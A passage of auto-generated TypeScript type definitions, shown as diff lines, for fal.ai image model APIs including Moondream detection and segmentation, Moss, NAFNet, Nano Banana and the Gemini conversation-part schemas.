inputFalAiMoondreamNextDetectionTaskTypeEnum)[keyof typeof inputFalAiMoondreamNextDetectionTaskTypeEnum] + +export type InputFalAiMoondreamNextDetection = { + /** + * @description Whether to use ensemble for gaze detection + * @default false + * @type boolean | undefined + */ + use_ensemble?: boolean + /** + * @description Type of detection to perform + * @type string + */ + task_type: InputFalAiMoondreamNextDetectionTaskTypeEnumKey + /** + * @description Whether to show visualization for detection + * @default true + * @type boolean | undefined + */ + show_visualization?: boolean + /** + * @description Whether to combine points into a single point for point detection. This has no effect for bbox detection or gaze detection. + * @default false + * @type boolean | undefined + */ + combine_points?: boolean + /** + * @description Image URL to be processed + * @example https://llava-vl.github.io/static/images/monalisa.jpg + * @type string + */ + image_url: string + /** + * @description Text description of what to detect + * @example Person + * @type string + */ + detection_prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB8D0Dfd1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMoondreamNextDetection = { + /** + * @description Detection results as text + * @type string + */ + text_output: string + /** + * @description Output image with detection visualization + */ + image?: ImageB8D0Dfd1 | null +} + +export type SegmentSamplingSettings = { + /** + * @description Sampling temperature to use. Higher values will make the output more random, while lower values will make it more focused and deterministic. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Nucleus sampling probability mass to use, between 0 and 1. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + top_p?: number + /** + * @description Maximum number of tokens to generate. + */ + max_tokens?: number | null +} + +export type PointC0Ae131E = { + /** + * @description X coordinate of the point in normalized format (0 to 1) + * @type number + */ + x: number + /** + * @description Y coordinate of the point in normalized format (0 to 1) + * @type number + */ + y: number +} + +export type InputFalAiMoondream3PreviewSegment = { + /** + * @description Sampling settings for the segmentation model + */ + settings?: SegmentSamplingSettings | null + /** + * @description URL of the image to be processed + * @example https://storage.googleapis.com/falserverless/example_inputs/moondream-3-preview/segmentation_in.png + * @type string + */ + image_url: string + /** + * @description Object to be segmented in the image + * @example mango + * @type string + */ + object: string + /** + * @description Whether to preview the output and return a binary mask of the image + * @default false + * @example true + * @type boolean | undefined + */ + preview?: boolean + /** + * @description Spatial references to guide the segmentation. By feeding in references you can help the segmentation process. Must be either list of Point object with x and y members, or list of arrays containing either 2 floats (x,y) or 4 floats (x1,y1,x2,y2). + * **NOTE**: You can also use the [**point endpoint**](https://fal.ai/models/fal-ai/moondream3-preview/point) to get points for the objects, and pass them in here. + * @example [{"x":0.6402737047898338,"y":0.40762463343108507}] + */ + spatial_references?: (PointC0Ae131E | number[])[] | null +} + +export type UsageInfo = { + /** + * @description Number of input tokens processed + * @type integer + */ + input_tokens: number + /** + * @description Number of output tokens generated + * @type integer + */ + output_tokens: number + /** + * @description Time taken for decoding in milliseconds + * @type number + */ + decode_time_ms: number + /** + * @description Time taken for prefill in milliseconds + * @type number + */ + prefill_time_ms: number + /** + * @description Time to first token in milliseconds + * @type number + */ + ttft_ms: number +} + +export type ImageFileCd3B2146 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type _Object = { + /** + * @description Right boundary of detection box in normalized format (0 to 1) + * @type number + */ + x_max: number + /** + * @description Left boundary of detection box in normalized format (0 to 1) + * @type number + */ + x_min: number + /** + * @description Bottom boundary of detection box in normalized format (0 to 1) + * @type number + */ + y_max: number + /** + * @description Top boundary of detection box in normalized format (0 to 1) + * @type number + */ + y_min: number +} + +export type OutputFalAiMoondream3PreviewSegment = { + /** + * @description Usage information for the request + * @example {"input_tokens":737,"output_tokens":23,"decode_time_ms":811.5944429300725,"prefill_time_ms":54.45315001998097,"ttft_ms":91.87838807702065} + * @type object + */ + usage_info: UsageInfo + /** + * @description Reason for finishing the output generation + * @example stop + * @type string + */ + finish_reason: string + /** + * @description Segmentation mask image. If no object detected or preview not requested, will be null. + * @example {"content_type":"image/png","width":1024,"file_name":"segmentation_out.png","url":"https://storage.googleapis.com/falserverless/example_outputs/moondream-3-preview/segmentation_out.png","height":1024} + */ + image?: ImageFileCd3B2146 | null + /** + * @description Bounding box of the segmented object. If not detected, will be null. + * @example {"x_max":0.732421875,"x_min":0.5390625,"y_max":0.53515625,"y_min":0.2998046875} + */ + bbox?: _Object | null + /** + * @description SVG path data representing the segmentation mask. If not detected, will be null. + * @example M.657,.996C.610,.984,.529,.938,.447,.875C.411,.848,.363,.815,.341,.802C.188,.714,.093,.623,.038,.511C.011,.455,.000,.406,.000,.340C.000,.269,.006,.234,.025,.186C.051,.123,.092,.079,.161,.042C.240,-0.000,.355,-0.011,.433,.017C.462,.027,.535,.066,.571,.091C.701,.180,.807,.265,.850,.311C.911,.379,.962,.468,.984,.545C.995,.585,.997,.601,.997,.664C.997,.765,.984,.811,.935,.879C.878,.958,.796,1.001,.705,1.000C.685,.999,.664,.998,.657,.996z + */ + path?: string | null +} + +export type ImageSizeCf87723E = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiMossImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiMossImageImageSizeKey = + (typeof inputFalAiMossImageImageSize)[keyof typeof inputFalAiMossImageImageSize] + +export const inputFalAiMossImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiMossImageOutputFormatEnumKey = + (typeof inputFalAiMossImageOutputFormatEnum)[keyof typeof inputFalAiMossImageOutputFormatEnum] + +export type InputFalAiMossImage = { + /** + * @description Return images as data URIs instead of storing them in request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output image size. Width and height are rounded to multiples of 16 between 512 and 2048 pixels. + * @default square_hd + */ + image_size?: ImageSizeCf87723E | InputFalAiMossImageImageSizeKey + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiMossImageOutputFormatEnumKey + /** + * @description Text prompt for image generation. Supports natural language, tag sequences, and JSON layouts. + * @minLength 1 + * @maxLength 16384 + * @example A wide view of a refrigerator beside a kitchen counter with a fruit bowl. A small sticky note on the refrigerator door is handwritten in Chinese: + * "记得买牛奶和鸡蛋! + * 牛奶两盒,鸡蛋一打。" + * @type string + */ + prompt: string + /** + * @description Enable output content moderation. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of denoising steps. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Plan a structured layout from your prompt before generation. Preserves requested visible text and uses the selected image dimensions. If enhancement is unavailable, uses the original prompt. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt. When empty, guidance uses transformer layer skipping for the negative branch. + * @maxLength 16384 + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Classifier-free guidance scale. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + guidance_scale?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE63B3C51 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiMossImage = { + /** + * @description Seed used for the first generated image. + * @type integer + */ + seed: number + /** + * @description Generated images. + * @type array + */ + images: ImageE63B3C51[] + /** + * @description Whether each generated image contains unsafe content. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description Expanded prompt used for generation, when enhancement succeeds. + */ + actual_prompt?: string | null +} + +export type InputFalAiNafnetDeblur = { + /** + * @description URL of image to be used for relighting + * @example https://storage.googleapis.com/falserverless/nafnet/blurry.png + * @type string + */ + image_url: string + /** + * @description seed to be used for generation + * @type integer | undefined + */ + seed?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image17339652 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiNafnetDeblur = { + /** + * @description The generated image file info. + * @example {"file_size":423052,"width":512,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/nafnet/2cbfd460e25344a69fa8077808fb484f.png","file_name":"36d3ca4791a647678b2ff01a35c87f5a.png","height":512} + * @type object + */ + image: Image17339652 +} + +export type InputFalAiNafnetDenoise = { + /** + * @description URL of image to be used for relighting + * @example https://storage.googleapis.com/falserverless/nafnet/noisy.png + * @type string + */ + image_url: string + /** + * @description seed to be used for generation + * @type integer | undefined + */ + seed?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageFebcb1Cd = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiNafnetDenoise = { + /** + * @description The generated image file info. + * @example {"file_size":423052,"width":512,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/nafnet/7c97e55956324a7cbee00ac9652a931b.png","file_name":"36d3ca4791a647678b2ff01a35c87f5a.png","height":512} + * @type object + */ + image: ImageFebcb1Cd +} + +export const inputFalAiNanoBananaOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiNanoBananaOutputFormatEnumKey = + (typeof inputFalAiNanoBananaOutputFormatEnum)[keyof typeof inputFalAiNanoBananaOutputFormatEnum] + +export const inputFalAiNanoBananaAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', +} as const + +export type InputFalAiNanoBananaAspectRatioEnumKey = + (typeof inputFalAiNanoBananaAspectRatioEnum)[keyof typeof inputFalAiNanoBananaAspectRatioEnum] + +export const inputFalAiNanoBananaSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiNanoBananaSafetyToleranceEnumKey = + (typeof inputFalAiNanoBananaSafetyToleranceEnum)[keyof typeof inputFalAiNanoBananaSafetyToleranceEnum] + +export type InputFalAiNanoBanana = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNanoBananaOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiNanoBananaAspectRatioEnumKey + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiNanoBananaSafetyToleranceEnumKey +} + +export type ImageFileBd2C3Eb8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiNanoBanana = { + /** + * @description The description of the generated images. + * @type string + */ + description: string + /** + * @description The generated images. + * @example [{"file_name":"nano-banana-t2i-output.png","content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-t2i-output.png"}] + * @type array + */ + images: ImageFileBd2C3Eb8[] +} + +export type GeminiTextPart93Cfb4F1 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePart7D8Eeb8B = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string +} + +export const geminiDocumentPart6494B27BMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart6494B27BMimeTypeEnumKey = + (typeof geminiDocumentPart6494B27BMimeTypeEnum)[keyof typeof geminiDocumentPart6494B27BMimeTypeEnum] + +export type GeminiDocumentPart6494B27B = { + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart6494B27BMimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiVideoPart066B4611 = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string +} + +export type GeminiSignaturePartFc1D8650 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export type GeminiAudioPartA2Fb20Bc = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiVideoMessageB5B1E141RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessageB5B1E141RoleEnumKey = + (typeof geminiVideoMessageB5B1E141RoleEnum)[keyof typeof geminiVideoMessageB5B1E141RoleEnum] + +export type GeminiVideoMessageB5B1E141 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessageB5B1E141RoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart93Cfb4F1 & { + type: 'text' + }) + | (GeminiImagePart7D8Eeb8B & { + type: 'image' + }) + | (GeminiDocumentPart6494B27B & { + type: 'document' + }) + | (GeminiVideoPart066B4611 & { + type: 'video' + }) + | (GeminiSignaturePartFc1D8650 & { + type: 'signature' + }) + | (GeminiAudioPartA2Fb20Bc & { + type: 'audio' + }) + )[] +} + +export const inputFalAiNanoBanana2ThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputFalAiNanoBanana2ThinkingLevelKey = + (typeof inputFalAiNanoBanana2ThinkingLevel)[keyof typeof inputFalAiNanoBanana2ThinkingLevel] + +export const inputFalAiNanoBanana2SafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiNanoBanana2SafetyToleranceEnumKey = + (typeof inputFalAiNanoBanana2SafetyToleranceEnum)[keyof typeof inputFalAiNanoBanana2SafetyToleranceEnum] + +export const inputFalAiNanoBanana2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiNanoBanana2OutputFormatEnumKey = + (typeof inputFalAiNanoBanana2OutputFormatEnum)[keyof typeof inputFalAiNanoBanana2OutputFormatEnum] + +export const inputFalAiNanoBanana2AspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiNanoBanana2AspectRatioKey = + (typeof inputFalAiNanoBanana2AspectRatio)[keyof typeof inputFalAiNanoBanana2AspectRatio] + +export const inputFalAiNanoBanana2ResolutionEnum = { + '0.5K': '0.5K', + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiNanoBanana2ResolutionEnumKey = + (typeof inputFalAiNanoBanana2ResolutionEnum)[keyof typeof inputFalAiNanoBanana2ResolutionEnum] + +export type InputFalAiNanoBanana2 = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description Previous native Gemini turns, including original parts and thought signatures from conversations. The current prompt starts a new user turn. + * @type array | undefined + */ + history?: GeminiVideoMessageB5B1E141[] + /** + * @description Controls thinking effort ('minimal' or 'high') and requests thought summaries. Omit to use the provider default ('minimal'); thinking cannot be disabled. + */ + thinking_level?: InputFalAiNanoBanana2ThinkingLevelKey | null + /** + * @description Ground image generation with Google Image Search. Can be combined with enable_web_search; source attribution is returned in grounding_metadata. Uses direct Google or Vertex APIs. + * @default false + * @type boolean | undefined + */ + enable_image_search?: boolean + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Ordered text, image, PDF, UTF-8 text-file or video parts appended to the current prompt. Original media bytes are preserved; images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPart93Cfb4F1 & { + type: 'text' + }) + | (GeminiImagePart7D8Eeb8B & { + type: 'image' + }) + | (GeminiDocumentPart6494B27B & { + type: 'document' + }) + | (GeminiVideoPart066B4611 & { + type: 'video' + }) + | (GeminiSignaturePartFc1D8650 & { + type: 'signature' + }) + )[] + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiNanoBanana2SafetyToleranceEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiNanoBanana2OutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate and ignore any intermediate images generated by the model. This may affect generation quality. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The aspect ratio of the generated image. Supports extreme ratios: 4:1, 1:4, 8:1, 1:8. Use "auto" to let the model decide based on the prompt. + * @default auto + */ + aspect_ratio?: InputFalAiNanoBanana2AspectRatioKey | null + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiNanoBanana2ResolutionEnumKey +} + +export type ImageFileF1F7D039 = { + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type GeminiTextPart88724519 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiImagePart8D362F4F = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiDocumentPart8676239FMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart8676239FMimeTypeEnumKey = + (typeof geminiDocumentPart8676239FMimeTypeEnum)[keyof typeof geminiDocumentPart8676239FMimeTypeEnum] + +export type GeminiDocumentPart8676239F = { + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart8676239FMimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiVideoPartB857F6F9 = { + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiSignaturePart98D7C3E6 = { + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiAudioPartA7F4B0Ba = { + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiVideoMessageA322Bf49RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessageA322Bf49RoleEnumKey = + (typeof geminiVideoMessageA322Bf49RoleEnum)[keyof typeof geminiVideoMessageA322Bf49RoleEnum] + +export type GeminiVideoMessageA322Bf49 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessageA322Bf49RoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart88724519 & { + type: 'text' + }) + | (GeminiImagePart8D362F4F & { + type: 'image' + }) + | (GeminiDocumentPart8676239F & { + type: 'document' + }) + | (GeminiVideoPartB857F6F9 & { + type: 'video' + }) + | (GeminiSignaturePart98D7C3E6 & { + type: 'signature' + }) + | (GeminiAudioPartA7F4B0Ba & { + type: 'audio' + }) + )[] +} + +export type GeminiConversation9Ebfac92 = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessageA322Bf49[] +} + +export type OutputFalAiNanoBanana2 = { + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] + /** + * @description The generated images. + * @example [{"file_name":"nano-banana-2-t2i-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-2-t2i-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFileF1F7D039[] + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversation9Ebfac92[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export type GeminiTextPart79310B94 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePart37A0517E = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string +} + +export const geminiDocumentPart44B7Ec0EMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart44B7Ec0EMimeTypeEnumKey = + (typeof geminiDocumentPart44B7Ec0EMimeTypeEnum)[keyof typeof geminiDocumentPart44B7Ec0EMimeTypeEnum] + +export type GeminiDocumentPart44B7Ec0E = { + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart44B7Ec0EMimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiVideoPart3E0B4C74 = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + 